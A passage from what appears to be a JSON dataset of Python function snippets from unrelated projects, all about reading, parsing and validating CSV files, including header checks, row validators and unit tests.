pass\\n\\n # Y with comma 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split(',')\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n newYValues = []\\n for yValue in yValueList:\\n try:\\n yValue = float(yValue)\\n newYValues.append(yValue)\\n except ValueError:\\n pass\\n\\n return True, 'Y', len(newYValues)\\n except:\\n pass\\n\\n # Y with space 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split()\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n for yValue in yValueList:\\n yValue = float(yValue)\\n\\n return True, 'Y', len(yValueList)\\n except:\\n pass\\n elif dataType == 'XY':\\n # XY with comma\\n try:\\n (xValue, yValue) = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n xValue, yValue, dummy = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with space\\n try:\\n (xValue, yValue) = line.split()\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n else:\\n # Y with 1 column\\n try:\\n yValue = float(line)\\n\\n return True, 'Y', 1\\n except:\\n pass\\n\\n # Y with comma 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split(',')\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n numberValues = 0\\n for yValue in yValueList:\\n try:\\n yValue = float(yValue)\\n numberValues += 1\\n except ValueError:\\n pass\\n\\n return True, 'Y', numberValues\\n except:\\n pass\\n\\n # Y with space 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split()\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n for yValue in yValueList:\\n yValue = float(yValue)\\n\\n return True, 'Y', len(yValueList)\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n (xValue, yValue) = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n xValue, yValue, dummy = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with space\\n try:\\n (xValue, yValue) = line.split()\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n return False, None, 0\",\n \"def validate_column_names(self, cols):\\n self.stdout.write('Verifying CSV header')\\n csv_cols = set(cols)\\n if self.required_csv_columns <= csv_cols:\\n return True\\n else:\\n missing_cols = set(self.required_csv_columns).difference(csv_cols)\\n raise ValidationError(\\n \\\"These columns '{0}' are required, but missing in the CSV \\\"\\n \\\"file.\\\".format(\\n ', '.join(missing_cols)\\n )\\n )\",\n \"def test_is_valid_row(self):\\n dognames = student_submission.read_csv('./dognames.csv')\\n\\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\\n 'Your implementation seems wrong')\",\n \"def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\\n contents = \\\"\\\"\\\"\\\"a\\\",\\\"b\\\"\\n1,2\\\"\\\"\\\"\\n fs.create_file(\\\"test.csv\\\", contents=contents)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n\\n assert adapter.get_columns() == {\\n \\\"a\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n \\\"b\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n }\\n assert list(adapter.get_data({}, [])) == [{\\\"a\\\": 1.0, \\\"b\\\": 2.0, \\\"rowid\\\": 0}]\",\n \"def test_schema_duplicate_names_diff_type(self):\\n # double num1's same type\\n bad = [(\\\"num1\\\", int), (\\\"num1\\\", str), (\\\"num2\\\", int)]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad)\",\n \"def test_delimiter_none(self):\\n with self.assertRaisesRegexp(Exception, \\\"delimiter\\\"):\\n self.context.frame.import_csv(self.dataset,\\n self.schema, delimiter=None)\",\n \"def check_data(self):\\n\\n for i in range(len(self.full_ed_lines)):\\n if self.full_ed_lines[i].text() != \\\"\\\":\\n if self.full_ed_lines[i].hasAcceptableInput():\\n continue\\n else:\\n if i == 1:\\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\\n elif i == 5:\\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\\n return False\\n else:\\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\\n return False\\n return True\",\n \"def check_csv_headers(csvfile, headers):\\n\\n with open(csvfile, 'rb') as f:\\n csv_header = f.readline()\\n\\n # Check the lower ones\\n if headers[1][0] not in csv_header.lower():\\n return False\\n\\n return True\",\n \"def has_invalid_lines(self):\\n # Convience variables\\n sample_id = self._sample_sheet.sample_id_column\\n sample_name = self._sample_sheet.sample_name_column\\n sample_project = self._sample_sheet.sample_project_column\\n # Look at first line to see which items have been provided\\n line = self._sample_sheet.data[0]\\n has_sample_id = line[sample_id] != ''\\n has_sample_name = (sample_name is not None) and \\\\\\n (line[sample_name] != '')\\n has_project = line[sample_project] != ''\\n # Look for invalid data lines\\n invalid_lines = []\\n for line in self._sample_sheet.data:\\n if self._sample_sheet.has_lanes and line['Lane'] == '':\\n invalid_lines.append(line)\\n elif has_sample_id and line[sample_id] == '':\\n invalid_lines.append(line)\\n elif has_sample_name and line[sample_name] == '':\\n invalid_lines.append(line)\\n elif has_project and line[sample_project] == '':\\n invalid_lines.append(line)\\n return invalid_lines\",\n \"def _validate_date(self, col):\\r\\n error_rows = [] # initialize list of rows with errors\\r\\n # Loop through data and validate time values\\r\\n for i, row in enumerate(self.rows):\\r\\n csv_row = i + 1\\r\\n date_of_survey = row[col]\\r\\n try:\\r\\n [m, d, y] = date_of_survey.split('/')\\r\\n testdate = datetime.date(int(y), int(m), int(d))\\r\\n except:\\r\\n error_rows.append(csv_row)\\r\\n return error_rows\",\n \"def line_is_valid(line):\\n if '-' in map(lambda item: item.strip(), line.strip().split(\\\";\\\")):\\n return False\\n else:\\n return True\",\n \"def test_non_int_value_raises_an_exception():\\n test_file = StringIO(\\n u'fri,wed\\\\na,6'\\n )\\n\\n csv_parser = CSVParser(test_file)\\n\\n with pytest.raises(ValueError):\\n csv_parser.parse()\",\n \"def __input_data_ok(self, line=None):\\n # valid pattern: 1407478022|www.facebook.com\\n valid_pattern = re.compile(\\\"\\\\w{10}\\\\|\\\\w+\\\")\\n if (line) and (re.match(valid_pattern, line)):\\n return True\\n else:\\n return False\",\n \"def loadCSV(input_file):\",\n \"def validate_file(self):\\n filename = str(self.filename)\\n self.is_error = False\\n self.message = \\\"\\\"\\n if not (filename.endswith('xls') or filename.endswith('xlsx') or filename.endswith('csv')):\\n self.message += \\\"Please Import only '.xls' or '.xlsx' or '.csv' File.\\\"\\n elif (filename.endswith('xls') or filename.endswith('xlsx')):\\n column_list = ['id', 'quantity']\\n\\n wb = xlrd.open_workbook(\\n file_contents=base64.decodestring(self.xls_file))\\n sheet = wb.sheet_by_index(0)\\n row = sheet.row_values(0)\\n invalid_cols = []\\n import pdb;pdb.set_trace()\\n for key in row:\\n key = key.encode('ascii', 'ignore')\\n if key.lower() not in column_list:\\n invalid_cols.append(key)\\n if invalid_cols:\\n self.message = \\\"Invalid Column Name %s\\\", ', '.join(\\n invalid_cols)\\n if not self.message:\\n for i in range(1, sheet.nrows):\\n row = sheet.row_values(i)\\n firstrow = sheet.row_values(0)\\n firstrow = [str(item).lower() for item in firstrow]\\n product_obj = self.env['product.product'].search(\\n [('id', '=', row[firstrow.index('id')])])\\n if not row[firstrow.index('quantity')]:\\n self.message += \\\"Enter Quantity In Your Excel File\\\"\\n if not product_obj:\\n self.message += \\\"Enter Valid Product Id In Your Excel File\\\"\\n else:\\n column_list = ['id', 'quantity']\\n xls_file = base64.b64decode(self.xls_file)\\n file_input = cStringIO.StringIO(xls_file)\\n file_input.seek(0)\\n rows = []\\n delimeter = ','\\n reader = csv.reader(file_input, delimiter=delimeter,\\n lineterminator='\\\\r\\\\n')\\n for row in reader:\\n rows.append(row)\\n firstrow = [str(item).lower() for item in rows[0]]\\n match = [column for column in firstrow if column not in column_list]\\n if match:\\n self.message += \\\"Enter Valid Column Name\\\"\\n if not self.message:\\n for row in rows[1:]:\\n rows[0] = [str(item).lower() for item in rows[0]]\\n product_obj = self.env['product.product'].search(\\n [('id', '=', row[rows[0].index('id')])])\\n if not row[rows[0].index('quantity')]:\\n self.message += \\\"Enter Quantity In Your Excel File\\\"\\n if not product_obj:\\n self.message += \\\"Enter Valid Product Id In Your Excel File\\\"\\n\\n if self.message:\\n self.is_error = True\\n if not self.is_error:\\n self.is_validate = True\\n return {\\n 'res_id': self.id,\\n 'view_id': self.env.ref('import_stock_inventory_drc.import_stock_inventory_view_wizard_form').ids,\\n 'view_type': 'form',\\n 'view_mode': 'form',\\n 'res_model': 'stock.inventory.wizard',\\n 'type': 'ir.actions.act_window',\\n 'target': 'new'\\n }\",\n \"def place_types_read_csv(self, csv_input):\\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''])\\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\\n self.log.info('Data read from CSV %s' % csv_input)\",\n \"def read_csv(self, csv_input):\\n # https://stackoverflow.com/a/45063514\\n dtypes = {\\n 'lat': 'U',\\n 'long': 'U'\\n }\\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\\n\\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\\n self.log.info('Data read from CSV %s' % csv_input)\\n #print('Data read from CSV %s' % csv_input)\",\n \"def isValid(self):\\n return self.file_name != \\\"\\\" and self.line_number != 0\",\n \"def test_row_parsing(self, tmpdir):\\n json_file = str(tmpdir.join(\\\"f.json\\\"))\\n with open(json_file, \\\"w\\\") as f:\\n json.dump({\\\"ds\\\": [{\\\"file\\\": \\\"data.nc\\\", \\\"size\\\": 0, \\\"mtime\\\": 0, \\\"sha256\\\": 0}]}, f)\\n\\n create = CsvRowDataset.from_strings\\n\\n # Check extraneous whitespace is ignored and Yes/No to boolean\\n # conversion\\n got1 = create([\\\"ds\\\", \\\"100\\\", \\\" url\\\", \\\"title, here\\\", \\\"no\\\", \\\"Yes\\\", json_file])\\n expected1 = CsvRowDataset(\\\"ds\\\", 100, \\\"url\\\", \\\"title, here\\\", False, True, json_file)\\n assert got1 == expected1\\n\\n got2 = create([\\\"ds\\\", \\\"100\\\", \\\" url\\\", \\\"title, here\\\", \\\"No\\\", \\\"yes\\\", json_file])\\n expected2 = CsvRowDataset(\\\"ds\\\", 100, \\\"url\\\", \\\"title, here\\\", False, True, json_file)\\n assert got2 == expected2\\n\\n # Check invalid int and bool values\\n assert pytest.raises(ValueError, create, [\\\"ds\\\", \\\"blah\\\", \\\"url\\\", \\\"title\\\", \\\"Yes\\\", json_file])\\n assert pytest.raises(ValueError, create, [\\\"ds\\\", \\\"200\\\", \\\"url\\\", \\\"title\\\", \\\"blah\\\", json_file])\",\n \"def IsValid(self):\\n return (TickerFull.DelimiterSplit not in self.Text) and (TickerDataType.DelimiterData in self.Text)\",\n \"def has_header_row(self, strdata):\\n debug = False\\n comma_dec_sep_ok = True\\n if debug: print(strdata)\\n if len(strdata) < 2: ## a header row needs a following row to be a header\\n return False\\n row1_types = [lib.get_val_type(val, comma_dec_sep_ok) \\n for val in strdata[0]]\\n row2_types = [lib.get_val_type(val, comma_dec_sep_ok) \\n for val in strdata[1]]\\n str_type = mg.VAL_STRING\\n empty_type = mg.VAL_EMPTY_STRING\\n non_str_types = [mg.VAL_DATE, mg.VAL_NUMERIC]\\n return importer.has_header_row(\\n row1_types, row2_types, str_type, empty_type, non_str_types)\",\n \"def test_invalid_csv(self):\\n cwd=os.getcwd()\\n url=\\\"http://stackoverflow.com/questions/17730173/python-cant-get-full-path-name-of-file\\\"\\n with self.assertRaises(TypeError):\\n requester.url_to_csv(url,\\\"{0}/{1}.csv\\\".format(cwd,'tester'))\",\n \"def test_read_in_file(self):\\r\\n filename = \\\"CrimeDataSmall.csv\\\"\\r\\n\\r\\n lst = cds.read_in_file(filename)\\r\\n\\r\\n self.assertIsInstance(lst, list, \\\"Returned datatype should be a list\\\")\\r\\n self.assertEqual(len(lst), 4, \\\"There should be 4 rows returned from CrimeDataSmall 1 header and 3 data rows\\\")\\r\\n self.assertEqual(len(lst[0]), 23, \\\"Each row should have 23 columns\\\")\\r\\n self.assertEqual(lst[0][1], \\\"Reported_Date\\\", \\\"Column 1 was incorrect header\\\")\\r\\n self.assertEqual(lst[0][7], \\\"Offense\\\", \\\"Column 7 was incorrect header\\\")\\r\\n self.assertEqual(lst[0][13], \\\"Zip Code\\\", \\\"Column 13 header was incorrect\\\")\\r\\n self.assertEqual(lst[1][1], \\\"03/19/2019\\\", \\\"Column 1 was incorrect in first data row\\\")\\r\\n self.assertEqual(lst[1][7], \\\"Vehicular – Non-Injury\\\", \\\"Column 7 was incorrect in first data row\\\")\\r\\n self.assertEqual(lst[1][13], \\\"64161\\\", \\\"Column 13 in first data row was incorrect\\\")\\r\\n self.assertEqual(lst[3][1], \\\"03/27/2019\\\", \\\"Column 1 was incorrect in 3rd data row\\\")\\r\\n self.assertEqual(lst[3][7], \\\"Embezzlement\\\", \\\"Column 7 was incorrect 3rd data row\\\")\\r\\n self.assertEqual(lst[3][13], \\\"64112\\\", \\\"Column 13 3rd data row was incorrect\\\")\\r\\n self.assertEqual(lst[3][11], \\\"4600, S WORNALL RD\\\", \\\"Column 11 3rd data row was incorrect. Use csv module to read \\\")\",\n \"def test_invalid_file_type(self):\\n file = SimpleUploadedFile(\\\"test.csv\\\", b\\\"\\\\xe8\\\")\\n form = MomConnectImportForm(\\n data={\\\"source\\\": \\\"MomConnect Import\\\"}, files={\\\"file\\\": file}\\n )\\n self.assertTrue(form.is_valid())\\n instance = form.save()\\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\\n [error] = instance.errors.all()\\n self.assertEqual(error.error, \\\"File is not a CSV\\\")\",\n \"def _validate_header(self, header_row):\\n\\n self.logger.info(\\\"Validating header row.\\\")\\n \\n # assume value.\\n is_valid = True\\n\\n # check if @header_row is perfect.\\n required_keys = tuple(self.required_headers.keys())\\n if sorted(header_row) == sorted(required_keys):\\n self.logger.info(\\\"Header is valid.\\\")\\n return is_valid\\n else:\\n self.logger.error(\\\"Header is invalid.\\\")\\n is_valid = False\\n\\n # report on any missing header fields.\\n missing_headers = [header for header in self.required_headers if header not in\\n header_row]\\n if len(missing_headers) != 0:\\n self.logger.warning(\\\"Missing required fields: {}\\\".format(missing_headers))\\n \\n # report on any duplicate fields.\\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\\n if len(duplicate_headers) != 0:\\n self.logger.warning(\\\"Found duplicate fields: {}\\\".format(set(duplicate_headers)))\\n\\n # report on any extra fields.\\n extra_headers = [header for header in header_row if header not in \\n self.required_headers]\\n if len(extra_headers) != 0:\\n self.logger.warning(\\\"Found extra fields: {}\\\".format(extra_headers))\\n \\n return is_valid\",\n \"def test_csvfile_empty_get_data(fs: FakeFilesystem) -> None:\\n path = fs.create_file(\\\"test.csv\\\", contents=CONTENTS)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n path.set_contents(\\\"\\\")\\n\\n with pytest.raises(ProgrammingError) as excinfo:\\n list(adapter.get_data({}, []))\\n assert str(excinfo.value) == \\\"The file has no rows\\\"\",\n \"def test_csv_no_callback(self):\\n csvfile = testdata.create_csv({\\n \\\"foo\\\": testdata.get_int(),\\n \\\"bar\\\": testdata.get_words(),\\n })\\n self.assertEqual(1, len(csvfile))\",\n \"def __read_csv(self) -> tuple:\\n with open(self.csv_file) as f:\\n reader = csv.reader(f)\\n for row in reader:\\n if row[0].isspace():\\n raise StopIteration\\n yield row\",\n \"def _check_duplicate_id_csv(self):\\n all_csv_ids = []\\n self.msg_args = []\\n for csv_file_rel in self.filter_files_ext('csv', relpath=True):\\n csv_file = os.path.join(self.module_path, csv_file_rel)\\n if os.path.basename(csv_file) == 'ir.model.access.csv':\\n all_csv_ids.extend(self.get_field_csv(csv_file))\\n duplicated_ids_csv = self.get_duplicated_items(all_csv_ids)\\n for duplicated_id_csv in duplicated_ids_csv:\\n self.msg_args.append((csv_file_rel, duplicated_id_csv))\\n if duplicated_ids_csv:\\n return False\\n return True\",\n \"def test_csv_exceptions(self, error, input_file_path: str, msg: str):\\n with pytest.raises(error) as context:\\n csv_file = open(attach_path(input_file_path))\\n read_csv(csv_file)\\n assert str(context.value) == msg\",\n \"def test_csv_import_hotel_fail(self):\\n from django.contrib.messages import get_messages\\n path = reverse(\\\"import-csv\\\")\\n user = mixer.blend(User, is_staff=True, is_superuser=True)\\n client = Client()\\n client.force_login(user)\\n file = open(\\\"hotel.csv\\\")\\n r = client.post(path, {\\\"title\\\": \\\"hotel\\\", \\\"csv_file\\\": file})\\n messages = list(get_messages(r.wsgi_request))\\n assert r.status_code == 200\\n assert len(messages) >= 1\\n for message in messages:\\n assert \\\"can not import\\\" in str(message)\",\n \"def test_parser():\\n data = parse_csv(TEST_DATA)\\n assert data['2020-01-03'] == ['recycle']\\n assert data['2020-01-08'] == ['bio', 'trash']\\n assert data['2021-01-09'] == ['christmas']\",\n \"def test_csv_reader_header_fields(process_data):\\n data = process_data(file_name_or_type='clean_map.csv')\\n header_fields = list(data[0].keys())\\n assert header_fields == [\\n 'Country',\\n 'City',\\n 'State_Or_Province',\\n 'Lat',\\n 'Long',\\n 'Altitude'\\n ]\",\n \"def test_without_schema(self):\\n frame = self.context.frame.import_csv(self.dataset)\\n expected_inferred_schema = [(\\\"C0\\\", int), (\\\"C1\\\", str), (\\\"C2\\\", int)]\\n self.assertEqual(frame.schema, expected_inferred_schema)\",\n \"def test_with_valid_input(self):\\n for dataset_type in ['regular', 'raw', 'REGULAR', 'RAW']:\\n try:\\n check_dataset_type(dataset_type)\\n except ValueError:\\n self.fail(\\\"Dataset {0} should be valid\\\".format(dataset_type))\",\n \"def parse_csv(csv_file):\\n if os.path.isfile(csv_file) == True:\\n num_lines = sum(1 for line in open(csv_file))\\n if num_lines > 1:\\n try:\\n data = pd.read_csv(csv_file, index_col=False)\\n data.insert(0, 'id', range(1, 1 + len(data)))\\n return(data)\\n except pd.parser.CParserError, err:\\n message = \\\"Can't parse REDCap data. Check CSV file: \\\" + csv_file\\n print(message)\\n logging.critical(message)\\n exit(3)\\n else:\\n message = \\\"CSV file does not contain data: \\\" + csv_file\\n print(message)\\n logging.warning(message)\\n return(None)\\n else:\\n message = \\\"Can't read CSV file: \\\" + csv_file\\n print(message)\\n logging.critical(message)\\n exit(4)\",\n \"def valid_ogfile(listname):\\r\\n global original_file, directory_og\\r\\n listname = listname.split(\\\".\\\")[0] #get rid of adapting or notadapting\\r\\n try:\\r\\n original_file = open(directory_og+listname+\\\".csv\\\", \\\"r\\\")\\r\\n return True\\r\\n except:\\r\\n return False\",\n \"def _validate_latlon(self, col):\\r\\n # Assumes input in format ##d##.####' Dir or ##d##' Dir\\r\\n # latlon_pattern = \\\"[0-9]+[d][0-9]+[.][0-9]+\\\\' [nsewNSEW]\\\"\\r\\n latlon_pattern = \\\"[0-9]+[d][0-9]+[.]?[0-9]+\\\\' [nsewNSEW]\\\"\\r\\n error_rows = [] # initialize list of rows with errors\\r\\n # Loop through data and validate lat/long value\\r\\n for i, row in enumerate(self.rows):\\r\\n csv_row = i + 1\\r\\n coord = row[col]\\r\\n if not re.search(latlon_pattern, coord):\\r\\n error_rows.append(csv_row)\\r\\n #\\r\\n # \\\"\\\"\\\"\\r\\n # ALTERNATE UNUSED APPROACH, but kept as an example for reference\\r\\n # Pandas approach: Creates a True/False series showing records that match the pattern\\r\\n # The tilde (~) in front of series inverts the True/False values,\\r\\n # which is the same as records that DO NOT match the pattern\\r\\n # \\\"\\\"\\\"\\r\\n # validrows = self.dataframe[col].str.contains(latlong_pattern)\\r\\n # errors = self.dataframe[~validrows]\\r\\n\\r\\n return error_rows\",\n \"def test_not_enough_cols(parallel, read_csv):\\n text = \\\"\\\"\\\"\\nA,B,C\\n1,2,3\\n4,5\\n6,7,8\\n\\\"\\\"\\\"\\n table = read_csv(text, parallel=parallel)\\n assert table[\\\"B\\\"][1] is not ma.masked\\n assert table[\\\"C\\\"][1] is ma.masked\\n\\n with pytest.raises(InconsistentTableError):\\n table = FastBasic(delimiter=\\\",\\\").read(text)\",\n \"def check_for_csv(inp_dict):\\n if inp_dict[\\\".csv\\\"]:\\n for path in inp_dict[\\\".csv\\\"]:\\n csv_path = convert_csv(path)\\n inp_dict[\\\".xls\\\"].append(csv_path)\\n inp_dict[\\\"del\\\"].append(csv_path)\\n inp_dict[\\\"out\\\"].append(csv_path)\\n inp_dict[\\\".csv\\\"] = []\\n return inp_dict\",\n \"def valid(self):\\r\\n if self.file_exists and len(self.missing_columns) == 0 and len(self.veg_columns) > 0 and \\\\\\r\\n len(self.lat_errors) == 0 and len(self.lon_errors) == 0 and len(self.time_errors) == 0 and len(self.date_errors) == 0:\\r\\n return True\\r\\n else:\\r\\n return False\",\n \"def _isvalid_file(filename):\\r\\n thisisavalidfile = True\\r\\n if (filename[0] == \\\".\\\") or (filename[0] == \\\"_\\\") or not ((filename.split(\\\".\\\")[-1] == \\\"txt\\\") or (filename.split(\\\".\\\")[-1] == \\\"csv\\\")):\\r\\n thisisavalidfile = False\\r\\n\\r\\n return thisisavalidfile\",\n \"def _validate_data(df):\\n if constants.IMAGE_URI_KEY not in df.columns:\\n # or label_col not in df.columns:\\n raise AttributeError(\\n 'DataFrame must contain image_uri column {}.')\\n if constants.LABEL_KEY not in df.columns:\\n raise AttributeError(\\n 'DataFrame must contain label column.')\\n if constants.SPLIT_KEY not in df.columns:\\n raise AttributeError(\\n 'DataFrame must contain split column.')\\n if list(df.columns) != constants.IMAGE_CSV_COLUMNS:\\n raise AttributeError(\\n 'DataFrame column order must be {}'.format(\\n constants.IMAGE_CSV_COLUMNS))\",\n \"def _check_data_valid(self):\\n\\n is_valid = (sum(~np.isnan(self.data).flatten()) > 0 and self.data.flatten().sum() != 0)\\n if not is_valid:\\n raise FITSException(f\\\"No data in {self.survey}\\\")\",\n \"def test_misc_csv_read_inmemory():\\n r = csv_reader([\\\"fieldname_a,fieldname_b\\\",\\n \\\"mo,bo\\\",\\n \\\"go,zo\\\",\\n \\\"fo,po\\\"])\\n fields = r.hdr()\\n data = str(fields)\\n while True:\\n row = r.row()\\n if not row: break\\n data += '\\\\n' + str(row)\\n assert(data==\\\"\\\"\\\"\\n['fieldname_a', 'fieldname_b']\\n['mo', 'bo']\\n['go', 'zo']\\n['fo', 'po']\\n \\\"\\\"\\\".strip())\",\n \"def VerifyRow(self, parser_mediator, row):\\n if len(row) != self._NUMBER_OF_COLUMNS:\\n return False\\n\\n # If the date and time string cannot be converted into a date time object,\\n # then do not consider this to be a McAfee AV Access Protection Log.\\n try:\\n self._CreateDateTime(row['date'], row['time'])\\n except errors.ParseError:\\n return False\\n\\n # Use the presence of these strings as a backup or in case of partial file.\\n status = row['status']\\n if 'Access Protection' not in status and 'Would be blocked' not in status:\\n return False\\n\\n return True\",\n \"def test_read_line(self):\\n\\n expected_data = ['\\\\\\\"lu, jr\\\\\\\"','ming-yuan','\\\\\\\"DRUG,1\\\\\\\"',135.999,True,3]\\n input_string = '001,\\\\\\\"LU, JR\\\\\\\",MING-YUAN,\\\\\\\"DRUG,1\\\\\\\",135.999\\\\n'\\n data = read_line(input_string)\\n self.assertEqual(expected_data[0],data[0])\\n self.assertEqual(expected_data[1],data[1])\\n self.assertEqual(expected_data[2],data[2])\\n self.assertAlmostEqual(expected_data[3],data[3])\\n self.assertEqual(expected_data[4],data[4])\\n self.assertAlmostEqual(expected_data[5],data[5])\\n\\n #Check for odd numers of quotation marks\\n input_string = '001,\\\\\\\"LU\\\\\\\",\\\\\\\"MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n #Check for missing fields\\n input_string = '001,,MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n input_string = '001,LU,MING-YUAN,DRUG1,\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n #Check for corrupted fields\\n input_string = '001x,LU,MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n input_string = '001,LU,MING-YUAN,DRUG1,1ag5\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\",\n \"def __init__(self, message, file_handle, format):\\n oh = open(file_handle, \\\"rU\\\")\\n config.log.error(\\\"csv/tsv file did not pass the csv parser\\\")\\n config.log.error(\\\"Message: %s\\\" % message)\\n print(\\\"-----------------------\\\")\\n print(\\\"CSV Diagnostic:\\\")\\n if \\\"skiplines\\\" in format: # skip the lines.\\n if format[\\\"skiplines\\\"] != -1:\\n for n in range(format[\\\"skiplines\\\"]):\\n oh.readline().rstrip(\\\"\\\\r\\\\n\\\")\\n\\n print(\\\"0:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"1:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"2:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"3:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"-----------------------\\\")\\n print(\\\"Format Specifier: %s\\\" % (\\\" \\\".join([\\\"%s:%s\\\\t\\\" % (key, format[key]) for key in format])))\\n print(\\\"Expected Format, based on the format specifier:\\\")\\n oh.close()\\n\\n # This is a safe-ish version of loadCSV() that intelligently fails.\\n\\n if \\\"sniffer\\\" not in format:\\n oh = open(file_handle, \\\"rU\\\")\\n if \\\"dialect\\\" in format:\\n reader = csv.reader(oh, dialect=format[\\\"dialect\\\"])\\n else:\\n reader = csv.reader(oh)\\n\\n try:\\n if \\\"skiplines\\\" in format:\\n skiplines = format[\\\"skiplines\\\"]\\n else:\\n skiplines = 0 # skip any header row by default.\\n except:\\n print(\\\"Error: End of File\\\") # premature end of file, skip out.\\n print(\\\"-----------------------\\\")\\n print(\\\"Error: %s\\\" % (message))\\n return\\n\\n for index, column in enumerate(reader): # This is cryptically called column, when it is actually row.\\n if index > skiplines:\\n if column: # list is empty, so omit.\\n if (not (column[0] in typical_headers)):\\n d = {}\\n for key in format:\\n if not (key in ignorekeys): # ignore these tags\\n try:\\n if not key in d:\\n d[key] = {}\\n if isinstance(format[key], dict) and \\\"code\\\" in format[key]:\\n # a code block insertion goes here - any valid lib and one line python code fragment\\n # store it as a dict with the key \\\"code\\\"\\n d[key] = eval(format[key][\\\"code\\\"]) # this always fails for some reason...\\n else:\\n d[key] = str(column[format[key]])\\n except:\\n d[key] = \\\"mangled\\\"\\n print(\\\"%s\\\" % (\\\" \\\".join([\\\"%s:%s\\\" % (key, d[key]) for key in d])))\\n if index > 3:\\n break\\n else:\\n print(\\\" No specified format (glbase will guess)\\\")\\n\\n print(\\\"-----------------------\\\")\\n config.log.error(\\\"End of error output\\\")\",\n \"def _validate_data(self, table_definition, data):\\n if len(data) == 0:\\n # Length zero columns get converted on write.\\n return\\n\\n columns_checked = set()\\n\\n for column_name, column_definition in table_definition.c.items():\\n if column_name in data:\\n expected_type = self._expected_type(column_definition)\\n is_nullable_numeric = (column_definition.nullable and\\n expected_type in [int, float])\\n if is_nullable_numeric:\\n data[column_name] = data[column_name].fillna(value=np.nan)\\n actual_type = data[column_name].dtype\\n is_pandas_extension = isinstance(actual_type, ExtensionDtype)\\n if expected_type is int:\\n self._check_int_type(actual_type, column_name,\\n is_pandas_extension, table_definition)\\n elif expected_type is float:\\n self._check_float_type(actual_type, column_name,\\n table_definition)\\n elif expected_type is str:\\n self._check_str_type(actual_type, column_name, data,\\n table_definition)\\n else:\\n raise RuntimeError(f\\\"Unexpected type from column \\\"\\n f\\\"definitions: {expected_type}.\\\")\\n elif not (column_definition.primary_key or\\n column_definition.nullable):\\n raise DismodFileError(f\\\"Missing column in data for table \\\"\\n f\\\"'{table_definition.name}': \\\"\\n f\\\"'{column_name}'\\\")\\n columns_checked.add(column_name)\\n\\n extra_columns = set(data.columns).difference(table_definition.c.keys())\\n if extra_columns:\\n raise DismodFileError(f\\\"extra columns in data for table \\\"\\n f\\\"'{table_definition.name}': {extra_columns}\\\"\\n )\",\n \"def 